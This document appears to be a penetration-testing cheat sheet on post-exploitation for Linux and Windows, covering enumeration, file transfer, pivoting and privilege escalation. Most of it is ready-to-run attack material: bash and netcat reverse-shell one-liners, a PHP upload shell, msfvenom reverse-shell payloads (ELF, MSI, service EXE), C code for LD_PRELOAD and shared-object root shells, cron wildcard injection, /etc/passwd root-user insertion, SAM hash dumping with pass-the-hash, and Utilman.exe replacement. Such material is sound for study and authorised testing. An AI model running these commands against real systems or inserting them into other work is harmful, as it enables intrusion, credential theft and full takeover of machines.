Post-Exploitation: Expanding Access

A practical guide to enumeration, foothold establishment, pivoting, and privilege escalation on Linux and Windows systems.

Enumeration

Understanding the target environment is our first priority. We need to gather intelligence about the system, network, users, and potential attack vectors.

System Information

Start by identifying the target system and its configuration:

# Get the hostname
hostname

# Print system information (kernel, architecture)
uname -a

# Get detailed information about the kernel
cat /proc/version

# Identify the operating system
cat /etc/issue
cat /etc/os-release

Process Enumeration

Discover what services and applications are running:

# View the process tree
ps axjf

# Show all processes with user information
ps aux

# Display environmental variables
env

User and Permission Enumeration

Understand who we are and what we can access:

# Check our current user ID, group memberships, and privileges
id

# Check another user's information
id <username>

# List all users on the system
cat /etc/passwd

# Format output to show only usernames
cat /etc/passwd | cut -d ":" -f 1

# Find users with home directories
cat /etc/passwd | grep home

# Check our sudo privileges
sudo -l

# View command history for potential credentials or interesting commands
history
cat ~/.bash_history

Network Enumeration

Map the network landscape:

# View network interface configuration
ifconfig
ip addr

# View network routes
ip route

# List all listening ports and established connections
netstat -a

# List TCP or UDP protocols specifically
netstat -at
netstat -au

# List ports in listening mode
netstat -l
netstat -lt

# List network usage statistics by protocol
netstat -s

# List connections with service names and PID information
netstat -tp
netstat -ltp

# Show interface statistics
netstat -i

# Display all sockets without resolving names (shows timers)
netstat -ano

File System Enumeration

Search for interesting files and permissions:

# Find files with 777 permissions (world-readable, writable, executable)
find / -type f -perm 0777 2>/dev/null

# Find files modified in the last 10 days
find / -mtime -10 2>/dev/null

# Find files accessed in the last 10 days
find / -atime -10 2>/dev/null

# Find files changed within the last 60 minutes
find / -cmin -60 2>/dev/null

# Find files accessed within the last 60 minutes
find / -amin -60 2>/dev/null

# Find files larger than 100MB
find / -size +100M -type f 2>/dev/null

# Find world-writable directories
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null

# Find world-executable directories
find / -perm -o x -type d 2>/dev/null

# Find development tools and supported languages
find / -name "perl*" 2>/dev/null
find / -name "python*" 2>/dev/null
find / -name "gcc*" 2>/dev/null

# Find files with SUID bit set
find / -perm -u=s -type f 2>/dev/null

# Find files with SUID or SGID set (detailed listing)
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null

Service Enumeration with Nmap

From our attack machine, we enumerate target services:

# Service enumeration scan (top 1000 ports, only open)
nmap -sV --open -oA initial_scan <target_ip>

# Check which ports nmap scans for a given scan type
nmap -v -oG -

# Full TCP port scan
nmap -p- --open -oA full_tcp_scan <target_ip>

# Banner grabbing with netcat to confirm nmap results
nc -nv <target_ip> 22
nc -nv <target_ip> 80

# Nmap script scan with default scripts
nmap -sC -p 22,80 -oA script_scan <target_ip>

# HTTP enumeration script
nmap -sV --script=http-enum -oA http_enum <target_ip>

Web Application Enumeration

When web services are discovered:

# Identify the web application and technologies
whatweb <target_ip>
whatweb http://<target_ip>/path

# Check the site with curl
curl http://<target_ip>

# Directory enumeration with Gobuster
gobuster dir -u http://<target_ip>/ --wordlist /usr/share/dirb/wordlists/common.txt
gobuster dir -u http://<target_ip>/application/ --wordlist /usr/share/dirb/wordlists/common.txt

# Request a file and prettify XML output
curl -s http://<target_ip>/content/private/users.xml | xmllint --format -

File Transfer Techniques

Moving tools and payloads between systems is essential. Here are reliable methods:

HTTP Server Method

Set up a simple HTTP server on our attack machine:

# Python 3 HTTP server
cd /tmp
python3 -m http.server 8000

# Python 2 (legacy systems)
python -m SimpleHTTPServer 8080

Download on the target:

# Using wget
wget http://<our_ip>:8000/linenum.sh

# Using curl
curl http://<our_ip>:8000/linenum.sh -o linenum.sh

SCP (Secure Copy)

When SSH credentials are available:

# Copy file to remote host
scp linenum.sh user@remotehost:/tmp/linenum.sh

# Copy file from remote host
scp user@remotehost:/remote/file.txt ./local/

Base64 Encoding

For environments with restricted network access:

# On our machine: encode the file
base64 shell -w 0

# On target: decode and save
echo "<base64_string>" | base64 -d > shell

# Verify the file format
file shell

# Verify integrity with checksums (compare on both hosts)
md5sum shell

Initial Access & Foothold

Shell Upgrades

Once we have a basic shell, upgrade it for better interaction:

# Python 2 TTY upgrade
python -c 'import pty; pty.spawn("/bin/bash")'

# Python 3 TTY upgrade
python3 -c 'import pty; pty.spawn("/bin/bash")'

# For full interactive TTY, after spawning pty:
# Press Ctrl+Z to background
# stty raw -echo; fg
# Then on target: reset; export SHELL=bash; export TERM=xterm-256color

Reverse Shells

Common reverse shell one-liners:

# Bash reverse shell
bash -i >& /dev/tcp/<our_ip>/<port> 0>&1

# Alternative bash reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <our_ip> <port> >/tmp/f

# PHP reverse shell (for upload scenarios)
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <our_ip> <port> >/tmp/f"); ?>

Set up a listener on our machine:

# Netcat listener
nc -lvnp <port>

Using Metasploit

For framework-based exploitation:

# Start Metasploit
msfconsole

# Search for exploits
search <application_name>

# Select and configure
use 0
set rhosts <target_ip>
set lhost <our_ip>
show options

# Set credentials if needed
set username admin
set password <password>
set targeturi /path

# Choose payload
set payload generic/shell_reverse_tcp

# Execute
exploit

Pivoting

After compromising a host, we use it as a foothold to reach other networks.

Metasploit Routing

Configure routing through a compromised session:

# Add route for a specific host through session -1 (latest session)
route add <target_subnet> <netmask> <session_id>

# Examples
route add 172.17.0.1/32 -1
route add 172.28.101.48/29 -1

# View routing table
route print

SOCKS Proxy

Set up a proxy for tunneling traffic:

# In Metasploit: set up SOCKS proxy
use auxiliary/server/socks_proxy
set SRVPORT 9050
run

# Use with curl
curl --proxy socks4a://localhost:9050 http://<target_ip>

# Use with ProxyChains (configure /etc/proxychains.conf first)
proxychains -q nmap -n -sT -Pn -p 22,80,443,5432 <target_ip>

Linux Privilege Escalation

Automated Enumeration

Use scripts to speed up the process:

# Download LinEnum to target
wget http://<our_ip>:8080/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

# Alternative: linux-exploit-suggester
perl linux-exploit-suggester-2.pl

SUID/SGID Exploitation

Files that run with owner permissions can be exploited:

# List all SUID/SGID files
find / -type f -perm -04000 -ls 2>/dev/null

# Check for capabilities
getcap -r / 2>/dev/null

# Example: Vim with capabilities
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
# Check GTFOBins for specific binary exploits

LD_PRELOAD Exploitation

If env_keep includes LD_PRELOAD, we can inject shared libraries.

Check if LD_PRELOAD is preserved.

sudo -l | grep LD_PRELOAD

Create malicious shared object (shell.c):

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

Compile:

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

Execute with sudo:

sudo LD_PRELOAD=/home/user/shell.so <program>

PATH Variable Exploitation

When scripts reference commands without full paths:

# Find writable directories
find / -writable 2>/dev/null | cut -d "/" -f 2 | sort -u

# Prepend malicious directory to PATH
export PATH=/tmp:$PATH

# Create malicious executable
echo "/bin/bash" > /tmp/<command_name>
chmod 777 /tmp/<command_name>

# Restore original PATH when done
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Cron Job Exploitation

Abuse scheduled tasks for privilege escalation:

# Common cron directories
/etc/crontab
/etc/cron.d
/var/spool/cron/crontabs/root

# Check for PATH in cron jobs
cat /etc/crontab | grep PATH

# If we have write access to a script in PATH:
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash

# Wait for execution, then run
/tmp/rootbash -p

Cron Wildcard Exploitation

If a cron job uses wildcards with tar:

# Create payload
msfvenom -p linux/x64/shell_reverse_tcp -f elf -o shell.elf lhost=<our_ip> lport=<port>
chmod +x shell.elf

# Create trigger files
touch --checkpoint=1
touch --checkpoint-action=exec=shell.elf

NFS Exploitation

When NFS shares are configured with no_root_squash.

Check NFS exports on target.

cat /etc/exports

From our machine – enumerate shares.

showmount -e <target_ip>

Mount the share.

mkdir /tmp/nfs_mount
mount -o rw <target_ip>:/backups /tmp/nfs_mount

Create SUID binary on our machine.

int main() {
    setgid(0);
    setuid(0);
    system("/bin/bash");
    return 0;
}

Prepare the binary.

gcc nfs.c -o nfs -w
chmod +s nfs

Execute on target after copying to mounted share.

Shared Object Injection

When SUID binaries look for shared libraries.

Trace system calls to find missing libraries.

strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

Create malicious library:

Prepare the workspace:

mkdir -p /home/user/.config

Prepare the library (libcalc.c):

// libcalc.c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    setuid(0);
    system("/bin/bash -p");
}

Compile.

gcc -shared -fPIC -o /home/user/.config/libcalc.so libcalc.c

Execute the SUID binary.

/usr/local/bin/suid-so

Environment Variable Exploitation

For SUID binaries that inherit PATH.

Check what commands the binary runs.

strings /usr/local/bin/suid-env

If it calls ‘service’ without full path, create our own.

// service.c
int main() {
    setuid(0);
    system("/bin/bash -p");
}

Compile.

gcc -o service service.c

Adjust the PATH.

PATH=.:$PATH /usr/local/bin/suid-env

Bash Function Exploitation (Bash < 4.2-048):

# Create function matching the command path
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
/usr/local/bin/suid-env2

PS4 Variable Exploitation (Bash < 4.4):

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
/tmp/rootbash -p

Password and Credential Hunting

Search for exposed credentials:

# Check history files
cat ~/.*history | less

# Search for passwords in config files
cat /home/user/*.ovpn
grep -r password /home/user/ 2>/dev/null

# Check for SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

SSH Key Exploitation:

# If we find a private key
chmod 600 id_rsa
ssh user@<target> -i id_rsa

# If we can write to authorized_keys
ssh-keygen -f key
echo "<public_key_content>" >> /root/.ssh/authorized_keys
ssh root@<target> -i key

PASSWD/SHADOW File Manipulation

If we have write access:

# Create password hash for /etc/shadow
mkpasswd -m sha-512 <password>

# Create password hash for /etc/passwd
openssl passwd -1 -salt <salt> <password>

# Add user to /etc/passwd
echo "<username>:<hash>:0:0:root:/root:/bin/bash" >> /etc/passwd
su <username>

Kernel Exploits

When other methods fail, consider kernel exploits:

# Example: DirtyCow
gcc -pthread dirtycow.c -o dirtycow
./dirtycow
/usr/bin/passwd  # Triggers root shell

# Clean up
mv /tmp/bak /usr/bin/passwd

PHP SUDO Exploit

If we can run PHP with sudo:

sudo /usr/bin/php -r 'system("cat /root/root.txt");'

Windows Privilege Escalation

Understanding Windows Accounts

Key account types:

SYSTEM/LocalSystem: Highest privileges, used by OS
Local Service: Minimal privileges, anonymous network connections
Network Service: Minimal privileges, uses computer credentials for network auth
Administrators: High privileges but below SYSTEM

Credential Harvesting

Common locations for stored credentials:

Unattended Installation Files:

C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

PowerShell History:

# From cmd.exe
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

# From PowerShell
type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Saved Credentials:

:: List saved credentials
cmdkey /list

:: Use saved credentials
runas /savecred /user:admin cmd.exe

IIS Configuration:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

PuTTY Sessions:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Scheduled Tasks

Abuse Windows Task Scheduler:

:: List scheduled tasks
schtasks

:: Get detailed information
schtasks /query /tn <taskname> /fo list /v

:: Check permissions on task executable
icacls C:\tasks\schtask.bat

:: Replace with reverse shell
echo C:\tools\nc64.exe -e cmd.exe <our_ip> <port> > C:\tasks\schtask.bat

:: Run task manually (if possible)
schtasks /run /tn <taskname>

AlwaysInstallElevated

Exploit Windows Installer privileges:

:: Check registry keys
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

:: Generate malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<our_ip> LPORT=<port> -f msi -o malicious.msi

:: Execute on target
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Service Misconfigurations

Insecure Service Permissions:

:: Query service configuration
sc qc <servicename>

:: Check executable permissions
icacls C:\Program Files\Service\Service.exe

:: Generate payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<our_ip> LPORT=<port> -f exe-service -o rev-svc.exe

:: Replace executable
move Service.exe Service.exe.bkp
move rev-svc.exe Service.exe
icacls Service.exe /grant Everyone:F

:: Restart service
sc stop <servicename>
sc start <servicename>

Unquoted Service Paths:

When the service path contains spaces and isn’t quoted:

:: Check folder permissions
icacls "C:\Program Files\Vulnerable Service"

:: If writable, place payload as earlier directory name
:: Example: C:\Program Files\Vulnerable Service\service.exe
:: Place payload at: C:\Program Files\Vulnerable.exe

Insecure Service DACL:

Using Sysinternals AccessChk.

accesschk64.exe -qlc <servicename>

:: Reconfigure service
sc config <servicename> binPath= "C:\Users\unpriv\rev-svc.exe" obj=LocalSystem
sc stop <servicename>
sc start <servicename>

Abusing Privileges

SeBackup/SeRestore:

:: Save registry hives
reg save hklm\system C:\Users\backup\system.hive
reg save hklm\sam C:\Users\backup\sam.hive

:: Transfer to our machine (using SMB)
mkdir share
python3 /opt/impacket/examples/smbserver.py -smb2support -username <user> -password <pass> public share

:: Copy from target
copy C:\Users\backup\sam.hive \\<our_ip>\public\

:: Dump hashes
python3 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL

:: Pass-the-Hash
python3 /opt/impacket/examples/psexec.py -hashes <hash> administrator@<target_ip>

SeTakeOwnership:

:: Take ownership of utilman.exe (Ease of Access application)
takeown /f C:\Windows\System32\Utilman.exe
icacls C:\Windows\System32\Utilman.exe /grant <username>:F

:: Replace with cmd.exe
copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe

:: Trigger from lock screen by clicking Ease of Access

SeImpersonate/SeAssignPrimaryToken:

Use tools like RogueWinRM or JuicyPotato:

# Start listener
nc -lvp 4444

# Trigger exploit
RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe <our_ip> 4444"

Vulnerable Software

Check for exploitable installed software:

:: List installed software
wmic product get name,version,vendor

:: Create admin user if we have privileges
net user <username> <password> /add
net localgroup administrators <username> /add

Automated Tools

WinPEAS:

Run the binary and review output for privilege escalation vectors.

PrivescCheck (PowerShell):

# Bypass execution policy
Set-ExecutionPolicy Bypass -Scope process -Force

# Run check
. .\PrivescCheck.ps1
Invoke-PrivescCheck

WES-NG (Windows Exploit Suggester):

# On target
systeminfo > systeminfo.txt

# On our machine
wes.py --update
wes.py systeminfo.txt

Metasploit Suggester:

use multi/recon/local_exploit_suggester
set session <session_id>
run

Post-Exploitation: Expanding Access#

Enumeration#

File Transfer Techniques#

Initial Access & Foothold#

Pivoting#

Linux Privilege Escalation#

Windows Privilege Escalation#